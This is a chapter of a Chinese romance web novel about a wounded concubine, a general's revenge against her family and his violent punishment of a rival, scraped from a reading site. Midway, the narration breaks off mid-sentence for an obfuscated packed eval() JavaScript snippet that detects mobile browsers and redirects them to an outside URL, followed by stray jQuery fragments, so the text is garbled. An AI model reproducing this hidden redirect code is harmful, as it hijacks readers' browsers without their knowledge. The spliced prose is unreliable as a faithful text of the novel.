123读书网 > 玄幻小说 > 折娇锁雀 > 28. 第 28 章
    依雪将药方给了慕容枭。


    她从他那双深不见底的眸子里看到了张皇失措,那股子焦急与迷茫比当下的自己更甚。更何况,以少爷的能力拿到这些药轻而易举。


    不会儿,祝圭从府外回来,将药材悉数交给郎中,整个竹砚阁很快就飘来苦涩的药味。


    只是赵静嘉当前晕迷,饶是丫鬟郎中想遍了法子,汤药也入不了口。


    几人围在床边急得团团转。


    “依雪姑娘,若是小夫人不肯吞咽,这药即便是再好也于事无补啊。”


    郎中看着床上双目紧闭,密汗淋漓,脸色煞白的人,连连叹气,“腹部伤口太深,能抢回一条命已是上苍眷顾,流了那么多血,再不及时服药,怕是……”


    郎中的话传到屋外。


    慕容枭愣了神。


    不及时服药,怕是如何?会死吗?


    这样的想法在脑海里闪现,停留,盘旋。


    最后喷涌而出。


    死!


    她竟敢死!


    她是承平帝的女儿,李家后代,怎么能死?


    李家欠萧家的,何止是一条命!


    国恨家仇,流离失所,屈辱苟活,桩桩件件,又岂能用一个“死”字来结束!


    赵静嘉,你怎么能死?


    我要你活着,长命百岁。


    我要你亲眼看着我夺去你父皇得来不易的江山,看着我送你李家所有人下、地、狱!


    我要你在日后漫长的岁月里,当着你李家祖先的面,和我恩恩爱爱白头到老。


    我要你,做李家永生永世的千古罪人。


    思罢,他踹开了虚掩着的门。


    “哐当”一声,围着拔步床的人无一不转身疑惑。


    “她不会死。”


    声音不大,却极重。带着不容置疑的冷冽。


    他没看任何人,顺着人群豁开的缝儿便将目光钉在了躺在床上气若游丝的女人。


    分明几个时辰前才见过,那时候的她端着一碗羊肉,笑得明媚,即便丫鬟被罚,她被呵斥,面上表情也尤为生动。哪像如今,锦被盖在身上连胸膛起伏都丝毫不见,脸色比初来昭平府还要惨白几分。


    方才还翻滚在胸口的戾气瞬间消散。


    什么国恨家仇,什么颠沛流离,什么流离失所!


    还管什么李承天的女儿!


    她是晨懿,是他的女人!


    她、不、能、死!


    几步跨到床边,伸手欲抓她的手腕,却又在咫尺之间,堪堪停住。


    薄唇翕动,想要说的话有太多太多。可话到嘴边,最终只能从唇缝中挤出毫无力气的三个字:“醒过来。”


    醒过来。


    你别死。


    见他上前,众人本能地往后退。


    烛光昏暗,瞧不见他脸上到底作何表情,只有依雪靠得近些,能从侧面看少爷眼角有水花闪烁。


    慕容枭侧身坐于床沿,将赵静嘉一把搂起,一手夺过药碗,仰头含下。苦涩刺鼻,又很快在舌尖蔓延开来。蹙眉俯身,鼻尖相抵之间,他感受到她长睫轻轻颤动,似是要醒,可那双清亮的杏眸还是没能睁开。


    唇舌小心地撬开她紧闭的唇瓣,一点一点地将药汁渡过去。许是他太过急切,药汁渡得太多,只见她喉咙动了动,下一瞬又猛烈咳嗽起来,药汁也顺着唇角往下流。


    “咽下去。”


    他咬牙,发出的声儿却近乎乞求。


    下意识地抬手将她下巴药渍拂去,唇瓣蠕动不停喃喃着:“咽下去,咽下去……”


    汤药湿了整片寝衣,又湿了整个褥子。


    他将人抱起放在贵妃榻上,剩下的便由丫鬟们做。


    接着,又神色木讷地离开了。走出竹砚阁,祝圭迎了上来,表示宋星霏丫鬟去了宋家报信儿,如今宋老爷拿了不少东西来赔罪,问如何处置?


    “杀了她。”


    毫不犹豫,字字冰冷。


    “将军,宋老爷说日后宋家皆为你所用,只求留少夫人一命。”


    “我说杀……”


    “答应他!”


    话音未落,一道尖细的声音打断了慕容枭的决定。慕容仇平缓步走来,看向近乎没了理智的慕容枭,拧眉道,“不过是个女人,伤了便伤了,可宋家的财富可助你将全天下的盐马商贩收于麾下。这笔账,不亏。”


    的确是不亏。


    宋星霏死与不死,都已经造成了懿儿的伤害。可天下的盐马商贩,却是千载难逢的机会。


    四下阒然。


    慕容枭闭口沉默,随即看向慕容仇平那张冷白的脸,笑了。


    笑得阴戾邪肆。


    下一瞬,声音陡然拔高,发出怒意:“祝圭!给我把宋星霏截成两半,丢到宋家门口!”


    “枭儿!”


    “高谨彦!”


    这些年里,慕容枭还是头一次如此肆无忌惮地忤逆这位阿爹。


    “高谨彦!论起身份,你不过是伺候我父皇的内官,凭什么替我做决定!”


    他眼眶赤红,步步逼近,每一个字都像是从唇齿间挤出来的,“你以为,仗着对我那点儿养育之恩,我就当真奈何不了你?你将懿儿从宫里偷出来,丢去葵露街,放出人尽可欺留其苟活之言,教她在磋磨苦楚里熬大!待她十六,又把她买回昭平府,逼着她爱上我,好教她替我做事,为我所用!你当真是……卑鄙无耻!”


    越往后说,控诉的声音越来越喑哑。到最后,连暴怒与嘶吼都听不到了,余留近乎麻木的绝望,沉沉地堵在喉间。


    慕容仇平只静静地看着他,目光一瞬不瞬。


    过了许久才缓缓开口:“你猜得都对。只是我没算到,费尽心机养你长大,竟还是让你栽在了李承天女儿手里!我不会让她成为你复仇的绊脚石!枭儿,你恨我也好,怨我也罢。宋星霏死与不死不重要,宋家,势在必得!”


    “若是我非要杀了她呢!”


    “我会毫不留情地杀了赵静嘉!”


    两道声音相继传出。


    前者冰冷如霜。


    后者波澜不惊。


    话落无声。


    慕容枭死死地剜向他,猛地转头对祝圭厉声道:“将老爷带回仇平苑,严加看管!没我的允许,谁也不准探视,更不许他踏出苑门半步!”


    慕容仇平并无意外,转身便跟着祝圭走了。只是离开之际再次警告:“枭儿,纵然你有千军万马,可我的手段,你知晓的不过千中一二。别试图忤逆我,即便不为你自己想,也得想想床上那个姑娘。”


    末了,又补充道问道:“若是宋星霏没有出手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076024|189822||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,难不成你会任由李家人怀你萧家的孩子?”


    声音随着他离开的步伐越来越远。


    可“李家人怀萧家孩子”之谬言,还不停地响彻耳畔。


    慕容枭侧目,看向虚掩着的门,终是失控了。


    宋星霏的命保住了。


    腹部被捅了一刀,又不知给她灌了什么一杯什么药。


    慕容枭亲自动的手。


    尽管当时哭着认错求饶,他也不曾眨过一次眼。


    当时他笑得阴鸷,面色无波地说:“感谢你有个愿意为你付出一切的母家。不过她流了多少血,受了多少苦,在床上躺了多少天,你都得还回来。”


    “加倍。”


    赵静嘉醒来之后又在床上躺了五天之久,才勉强能下床走走。然依雪顾念她身体,除却必要之时,不让她下床。少爷封了阖府上下的口,没了孩子这事,不能让小夫人知晓半分。只让丫鬟们好生照顾她小月子,不得吹风不得受冻不能挨饿,更不允许落下病根儿。


    就连每日去仇平苑请安之事,也都免了不去。


    事实上在这期间,除却当初喂药那晚,慕容枭一次也没踏足过竹砚阁。又隔了小半月,竹砚阁除却泠汐偶尔送来几本书和一些贴心的小物什,香安街的婆子为赶制新衣来量体外,竹砚阁依旧冷清。


    依雪陪在她身旁,看她心不在焉地翻书看,好几次都欲言又止。


    她神色微忧,又想起那天夜里无意听见少爷与老爷之间的争执,心里更是惶恐。不管他们之间有多少仇恨在心,只觉得小夫人何其无辜。


    分明她该有最锦绣的人生。


    “宋星霏那儿如何了?”


    赵静嘉只是随口一问。


    她眯着眸子看窗外,立冬之后,天儿又冷了些。不比得夏日伤口烦闷,若是照顾得当,应当好得会很快。


    泠汐跟她提过,少爷生了好大的气。


    后院假山已经被铲平,再也不见一山一石。


    宋星霏被他亲自捅了一刀,在床上躺倒她醒来才允了人医治。如今落下病根儿,整个人虚得很。


    依雪拿过一件薄氅子披在她身上:“少爷动的手,即便有人医治,也不过是潦草行事,哪能如照顾您这般将养着。小夫人,少爷心里是……”


    在意您的。


    话音未落,却被她冷冷打断:“他心里如何与我无关。”


    说罢,又将书翻了一页。


    最近识得了许多字,一些简单的书也能看懂。


    鬼门关里走一遭,醒来之后除却依雪陪着,连半个人影也不曾瞧见。她便晓得了,书中时常提及的虚情假意薄情寡义究竟是何意。


    紧闭的房门发出“吱呀——”声响,墨色身影随之入内。


    依雪望去,意外地喊了声“少爷”。


    唯赵静嘉翻书的动作生生一顿。微微抬眼,瞥见熟悉的长剑,便立刻敛眉,垂眸继续看书。


    清冽的雪松气息越来越近。


    这味道,是她一度喜欢痴迷的。自醒来之后主屋里的那些香包却被她悉数锁进了箱匣里。


    闻不到,便不会做多想法,也图个脑里清净。


    颀长的阴影缓缓覆下来,堪堪挡住看书的光线。


    她终是避无可避。


    与之,四目以对。